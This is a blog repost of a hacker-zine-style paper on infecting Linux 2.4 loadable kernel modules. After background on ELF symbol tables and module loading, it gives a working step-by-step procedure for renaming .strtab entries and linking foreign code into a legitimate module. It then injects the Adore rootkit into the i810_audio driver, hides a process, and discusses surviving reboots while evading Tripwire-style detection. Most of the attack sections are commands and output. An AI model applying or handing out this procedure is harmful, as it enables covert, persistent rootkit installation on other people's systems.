Chinaunix首页 | 论坛 | 博客
  • 博客访问: 295355
  • 博文数量: 47
  • 博客积分: 1411
  • 博客等级: 上尉
  • 技术积分: 500
  • 用 户 组: 普通用户
  • 注册时间: 2006-02-23 09:10
文章分类

全部博文(47)

文章存档

2009年(3)

2008年(4)

2007年(14)

2006年(26)

我的朋友

分类: LINUX

2006-02-23 21:46:54

|=----------------=[ Infecting loadable kernel modules ]=----------------=|
|=-----------------------------------------------------------------------=|
|=--------------------=[ truff   ]=-------------------=|

--[ Contents

        1 - Introduction

        2 - ELF basis
          2.1 - The .symtab section
          2.2 - The .strtab section
          
        3 - Playing with loadable kernel modules
          3.1 - Module loading
          3.2 - .strtab modification
          3.3 - Code injection 
          3.4 - Keeping stealth

        4 - Real life example
          4.1 - Lkm infecting mini-howto
          4.2 - I will survive (a reboot)
          
--[ 1 - Introduction
  
  Since a few years we have seen a lot of rootkits using loadable kernel
modules. Is this a fashion ? not really, lkm's are widely used because they
are powerfull: you can hide files, processes and do other nice things. 
The first rootkits using lkm's could be easily detected because they 
where listed when issuing a lsmod. We have seen lots of techniques to hide
modules, like the one used in Plaguez's paper [1] or the more tricky used
in the Adore Rootkit [2]. A few years later we have seen other techniques
based on the modification of the kernel memory image using /dev/kmem [3].
Finally, a technique of static kernel patching was presented to us in [4].
This one solves an important problem: the rootkit will be reloaded after a
reboot. 
  
  The goal of this paper is to describe a new technique used to hide lkm's
and to ensure us that they will be reloaded after a reboot. We are going
to see how to do this by infecting a kernel module used by the system. We
will focus on Linux kernel x86 2.4.x series but this technique can be 
applied to other operating systems that use the ELF format.  Some knowledge
is necessary to understand this technique. Kernel modules are ELF object 
files, we will thus study the ELF format focusing on some particular parts 
related to the symbol naming in an ELF object file. After that, we will 
study the mechanisms wich are used to load a module to give us some 
knowledge on the technique which will permit to inject code into a kernel 
module. Finally, we will see how we can inject a module into another one in 
real life. 
  
--[ 2 - ELF Basis
  The Executable and Linking Format (ELF) is the executable file format
used on the Linux operating system. We are going to have a look at the part
of this format which interests us and which will be useful later (Read [1]
to have a full description of the ELF format).  When linking two ELF 
objects the linker needs to know some data refering to the symbols 
contained in each object. Each ELF object (lkm's for example) contains two
sections whose role is to store structures of information describing each 
symbol. We are going to study them and to extract some usefull ideas for 
the infection of a kernel module.
   
----[ 2.1 - The .symtab section  
  
  This section is a tab of structures that contains data requiered by the
linker to use symbols contained in a ELF object file. This structure is
defined in the file /usr/include/elf.h:  

/* Symbol table entry.  */
typedef struct
{
  Elf32_Word st_name; /* Symbol name (string tbl index) */
  Elf32_Addr st_value; /* Symbol value */
  Elf32_Word st_size; /* Symbol size */
  unsigned char st_info; /* Symbol type and binding */
  unsigned char st_other; /* Symbol visibility */
  Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;

 The only field which will interest us later is st_name. This field is an
index of the .strtab section where the name of the symbol is stored.


----[ 2.2 - The .strtab section

  The .strtab section is a tab of null terminated strings. As we saw above,
the st_name field of the Elf32_Sym structure is an index in the .strtab
section, we can thus easily obtain the offset of the string which contains
the name of the symbol by the following formula:
  
  offset_sym_name = offset_strtab + st_name 

  offset_strtab is the offset of the .strtab section from the beginning of
the file. It is obtained by the section name resolution mechanism which I
will not describe here because it does not bring any interest to the
covered subject. This mechanism is fully described in [5] and implemented
in the code (paragraph 9.1).
 
  We can then deduce that the name of a symbol in a ELF object can be
easily accessed and thus easily modified. However a rule must be complied
with to carry out a modification. We saw that the .strtab section is a
succession of null terminated strings, this implies a restriction on the
new name of a symbol after a modification: the length of the new name of
the symbol will have to be lower or equal to that of the original name
overwise it will overflow the name of the next symbol in the .strtab
section.
 
  We will see thereafter that the simple modification of a symbol's name
will lead us to the modification of the normal operation of a kernel module
and finally to the infection of a module by another one.


--[ 3 - Playing with loadable kernel modules
  
  The purpose of the next section is to show the code which dynamically
loads a module. With this concepts in mind, we will be able to foresee the
technique which will lead us to inject code into the module.


----[ 3.1 - Module Loading

  Kernel modules are loaded with the userland utility insmod which is part
of the modutils[6] package. The interesting stuff is located in the
init_module() functions of the insmod.c file.
  
static int init_module(const char *m_name, struct obj_file *f,
        unsigned long m_size, const char *blob_name,
        unsigned int noload, unsigned int flag_load_map)
{
(1)     struct module *module;
        struct obj_section *sec;
        void *image;
        int ret = 0;
        tgt_long m_addr;

        ....

(2)     module->init = obj_symbol_final_value(f, 
                obj_find_symbol(f, "init_module"));
(3)     module->cleanup = obj_symbol_final_value(f,
                obj_find_symbol(f, "cleanup_module"));

        ....

        if (ret == 0 && !noload) {
                fflush(stdout);         /* Flush any debugging output */
(4)             ret = sys_init_module(m_name, (struct module *) image);
                if (ret) {
                        error("init_module: %m");
                        lprintf(
      "Hint: insmod errors can be caused by incorrect module parameters, "
      "including invalid IO or IRQ parameters.\n"
      "You may find more information in syslog or the output from dmesg");
                }
        }
 
  This function is used (1) to fill a struct module which contains the
necessary data to load the module. The interestings fields are init_module
and cleanup_module which are functions pointers pointing respectively to
the init_module() and cleanup_module() of the module being loaded.  The
obj_find_symbol() function (2) extracts a struct symbol by traversing the
symbol table and looking for the one whose name is init_module. This struct
is passed to the obj_symbol_final_value() which extracts the address of the
init_module function from the struct symbol. The same operation is then
carried out (3) for the function cleanup_module(). It is necessary to keep
in mind that the functions which will be called when initializing and
terminating the module are those whose entry in the .strtab section
corresponds respectively to init_module and cleanup_module.
  
  When the struct module is completely filled in (4) the sys_init_module()
syscall is called to let the kernel load the module.

  Here is the interesting part of the sys_init_module() syscall wich is
called during module loading. This function's code is located in the
/usr/src/linux/kernel/module.c file:

asmlinkage long
sys_init_module(const char *name_user, struct module *mod_user)
{
        struct module mod_tmp, *mod;
        char *name, *n_name, *name_tmp = NULL;
        long namelen, n_namelen, i, error;
        unsigned long mod_user_size;
        struct module_ref *dep;
                                        
        /* Lots of sanity checks */
        .....
        /* Ok, that's about all the sanity we can stomach; copy the rest.*/

(1)     if (copy_from_user((char *)mod+mod_user_size,
                           (char *)mod_user+mod_user_size,
                           mod->size-mod_user_size)) {
                error = -EFAULT;
                goto err3;
        }

        /* Other sanity checks */

        ....
                
        /* Initialize the module.  */
        atomic_set(&mod->uc.usecount,1);
        mod->flags |= MOD_INITIALIZING;
(2)     if (mod->init && (error = mod->init()) != 0) {
                atomic_set(&mod->uc.usecount,0);
                mod->flags &= ~MOD_INITIALIZING;
                if (error > 0)  /* Buggy module */
                        error = -EBUSY;
                goto err0;
        }
        atomic_dec(&mod->uc.usecount);
 
  After a few sanity checks, the struct module is copied from userland to
kernelland by calling (1) copy_from_user(). Then (2) the init_module()
function of the module being loaded is called using the mod->init() funtion
pointer wich has been filled by the insmod utility.


----[ 3.2 - .strtab modification

  We have seen that the address of the module's init function is located
using a string in the .strtab section. The modification of this string will
allow us to execute another function than init_module() when the module is
loaded. 
  There are a few ways to modify an entry of the .strtab section. The 
-wrap option of ld can be used to do it but this option isn't compatible 
with the -r option that we will need later (paragraph 3.3). We will see in 
paragraph 5.1 how to use xxd to do the work. I have coded a tool 
(paragraph 9.1) to automate this task.

Here's a short example:
  
$ cat test.c
#define MODULE
#define __KERNEL__

#include 
#include 

int init_module(void) 
{
  printk ("<1> Into init_module()\n");
  return 0;
}

int evil_module(void) 
{
  printk ("<1> Into evil_module()\n");
  return 0;
}

int cleanup_module(void) 
{
  printk ("<1> Into cleanup_module()\n");
  return 0;
}

$ cc -O2 -c test.c 

  Let's have a look at the .symtab and .strtab sections:
  
$ objdump -t test.o 

test.o:     file format elf32-i386

SYMBOL TABLE:
0000000000000000 l    df *ABS*  0000000000000000 test.c
0000000000000000 l    d  .text  0000000000000000 
0000000000000000 l    d  .data  0000000000000000 
0000000000000000 l    d  .bss   0000000000000000 
0000000000000000 l    d  .modinfo  0000000000000000 
0000000000000000 l     O .modinfo  0000000000000016 __module_kernel_version
0000000000000000 l    d  .rodata   0000000000000000 
0000000000000000 l    d  .comment  0000000000000000 
0000000000000000 g     F .text  0000000000000014 init_module
0000000000000000         *UND*  0000000000000000 printk
0000000000000014 g     F .text  0000000000000014 evil_module
0000000000000028 g     F .text  0000000000000014 cleanup_module

  We are now going to modify 2 entries of the .strtab section to make the
evil_module symbol's name become init_module. First we must rename the
init_module symbol because 2 symbols of the same nature can't have the same
name in the same ELF object. The following operations are carried out:
  
  rename
1)  init_module  ---->  dumm_module
2)  evil_module  ---->  init_module


$ ./elfstrchange test.o init_module dumm_module
[+] Symbol init_module located at 0x3dc
[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange test.o evil_module init_module
[+] Symbol evil_module located at 0x3ef
[+] .strtab entry overwriten with init_module

$ objdump -t test.o 

test.o:     file format elf32-i386

SYMBOL TABLE:
0000000000000000 l    df *ABS*  0000000000000000 test.c
0000000000000000 l    d  .text  0000000000000000 
0000000000000000 l    d  .data  0000000000000000 
0000000000000000 l    d  .bss   0000000000000000 
0000000000000000 l    d  .modinfo  0000000000000000 
0000000000000000 l     O .modinfo  0000000000000016 __module_kernel_version
0000000000000000 l    d  .rodata   0000000000000000 
0000000000000000 l    d  .comment  0000000000000000 
0000000000000000 g     F .text  0000000000000014 dumm_module
0000000000000000         *UND*  0000000000000000 printk
0000000000000014 g     F .text  0000000000000014 init_module
0000000000000028 g     F .text  0000000000000014 cleanup_module


# insmod test.o 
# tail -n 1 /var/log/kernel 
May  4 22:46:55 accelerator kernel:  Into evil_module()

  As we can see, the evil_module() function has been called instead of
init_module().

  
----[ 3.3 - Code injection 

  The preceding tech makes it possible to execute a function instead of
another one, however this is not very interesting. It will be much better
to inject external code into the module. This can be *easily* done by using
the wonderfull linker: ld. 

$ cat original.c
#define MODULE
#define __KERNEL__

#include 
#include 

int init_module(void) 
{
  printk ("<1> Into init_module()\n");
  return 0;
}

int cleanup_module(void) 
{
  printk ("<1> Into cleanup_module()\n");
  return 0;
}

$ cat inject.c
#define MODULE
#define __KERNEL__

#include 
#include 


int inje_module (void)
{
  printk ("<1> Injected\n");
  return 0;
}

$ cc -O2 -c original.c
$ cc -O2 -c inject.c


  Here starts the important part. The injection of the code is not a
problem because kernel modules are relocatable ELF object files. This type
of objects can be linked together to share symbols and complete each other.
However a rule must be complied: the same symbol can't exist in several
modules which are linked together.  We use ld with the -r option to make a
partial link wich creates an object of the same nature as the objects wich
are linked. This will create a module which can be loaded by the kernel.

$ ld -r original.o inject.o -o evil.o
$ mv evil.o original.o 
$ objdump -t original.o 

original.o:     file format elf32-i386

SYMBOL TABLE:
0000000000000000 l    d  .text  0000000000000000 
0000000000000000 l    d  *ABS*  0000000000000000 
0000000000000000 l    d  .rodata   0000000000000000 
0000000000000000 l    d  .modinfo  0000000000000000 
0000000000000000 l    d  .data  0000000000000000 
0000000000000000 l    d  .bss   0000000000000000 
0000000000000000 l    d  .comment  0000000000000000 
0000000000000000 l    d  *ABS*  0000000000000000 
0000000000000000 l    d  *ABS*  0000000000000000 
0000000000000000 l    d  *ABS*  0000000000000000 
0000000000000000 l    df *ABS*  0000000000000000 original.c
0000000000000000 l     O .modinfo  0000000000000016 __module_kernel_version
0000000000000000 l    df *ABS*  0000000000000000 inject.c
0000000000000016 l     O .modinfo  0000000000000016 __module_kernel_version
0000000000000014 g     F .text  0000000000000014 cleanup_module
0000000000000000 g     F .text  0000000000000014 init_module
0000000000000000         *UND*  0000000000000000 printk
0000000000000028 g     F .text  0000000000000014 inje_module


  The inje_module() function has been linked into the module. Now we are
going to modify the .strtab section to make inje_module() be called instead
of init_module(). 


$ ./elfstrchange original.o init_module dumm_module
[+] Symbol init_module located at 0x4a8
[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange original.o inje_module init_module
[+] Symbol inje_module located at 0x4bb
[+] .strtab entry overwriten with init_module


  Let's fire it up:
  
# insmod original.o
# tail -n 1 /var/log/kernel 
May 14 20:37:02 accelerator kernel:  Injected

  And the magic occurs :)


----[ 3.4 - Keeping stealth

  Most of the time, we will infect a module which is in use. If we replace
the init_module() function with another one, the module loses its original
purpose for our profit. However, if the infected module does not work
properly it can be easily detected.  But there is a solution that permits
to inject code into a module without modifying its regular behaviour. After
the .strtab hack, the real init_module() function is named dumm_module. If
we put a call to dumm_module() into our evil_module() function, the real
init_module() function will be called at initialization and the module will
keep its regular behaviour.
  
                 replace 
    init_module  ------>  dumm_module
    inje_module  ------>  init_module (will call dumm_module) 
  
  
$ cat stealth.c
#define MODULE
#define __KERNEL__

#include 
#include 


int inje_module (void)
{
  dumm_module ();
  printk ("<1> Injected\n");
  return 0;
}

$ cc -O2 -c stealth.c
$ ld -r original.o stealth.o -o evil.o
$ mv evil.o original.o 
$ ./elfstrchange original.o init_module dumm_module
[+] Symbol init_module located at 0x4c9
[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange original.o inje_module init_module
[+] Symbol inje_module located at 0x4e8
[+] .strtab entry overwriten with init_module

# insmod original.o 
# tail -n 2 /var/log/kernel 
May 17 14:57:31 accelerator kernel:  Into init_module()
May 17 14:57:31 accelerator kernel:  Injected


  Perfect, the injected code is executed after the regular code so that the
modification is stealth.


--[ 4 - Real life example

  The method used to modify init_module() in the preceding parts can be
applied without any problem to the cleanup_module() function. Thus, we can
plan to inject a complete module into another one.  I've injected the well
known Adore[2] rootkit into my sound driver (i810_audio.o) with a rather
simple handling. 
  
----[ 4.1 - Lkm infecting mini-howto

1) We have to slightly modify adore.c

  * Insert a call to dumm_module() in the init_module() function's code
  * Insert a call to dummcle_module() in the cleanup_module() module 
    function's code
  * Replace the init_module function's name with evil_module
  * Replace the cleanup_module function's name with evclean_module
  
  
2) Compile adore using make


3) Link adore.o with i810_audio.o

   ld -r i810_audio.o adore.o -o evil.o
   
   If the module is already loaded, you have to remove it:
   rmmod i810_audio
   
   mv evil.o i810_audio.o
   

4) Modify the .strtab section
                  
                 replace
  init_module    ------> dumm_module
  evil_module    ------> init_module (will call dumm_module)

  cleanup_module ------> evclean_module
  evclean_module ------> cleanup_module (will call evclean_module)

$ ./elfstrchange i810_audio.o init_module dumm_module 
[+] Symbol init_module located at 0xa2db
[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange i810_audio.o evil_module init_module
[+] Symbol evil_module located at 0xa4d1
[+] .strtab entry overwriten with init_module

$ ./elfstrchange i810_audio.o cleanup_module dummcle_module
[+] Symbol cleanup_module located at 0xa169
[+] .strtab entry overwriten with dummcle_module

$ ./elfstrchange i810_audio.o evclean_module cleanup_module
[+] Symbol evclean_module located at 0xa421
[+] .strtab entry overwriten with cleanup_module


5) Load and test the module

# insmod i810_audio
# ./ava     
Usage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)]

       h hide file
       u unhide file
       r execute as root
       R remove PID forever
       U uninstall adore
       i make PID invisible
       v make PID visible

# ps
  PID TTY          TIME CMD
 2004 pts/3    00:00:00 bash
 2083 pts/3    00:00:00 ps
 
# ./ava i 2004
Checking for adore  0.12 or higher ...
Adore 0.53 installed. Good luck.
Made PID 2004 invisible.

root@accelerator:/home/truff/adore# ps
  PID TTY          TIME CMD
#     

Beautifull :) I've coded a little shell script (paragraph 9.2) which does
some part of the work for lazy people.


----[ 4.2 - I will survive (a reboot)

  When the module is loaded, we have two options that have pros and cons: 
  
  * Replace the real module located in /lib/modules/ by our infected one. 
    This will ensure us that our backdoor code will be reloaded after a 
    reboot. But, if we do that we can be detected by a HIDS (Host Intrusion
    Detection System) like Tripwire [7]. However, a kernel module is not 
    an executable nor a suid file, so it won't be detected unless the HIDS 
    is configured to be paranoid.

  * Let the real kernel module unchanged in /lib/modules and delete our
    infected module. Our module will be removed when rebooting, but it 
    won't be detected by a HIDS that looks for changed files.
  
阅读(1436) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~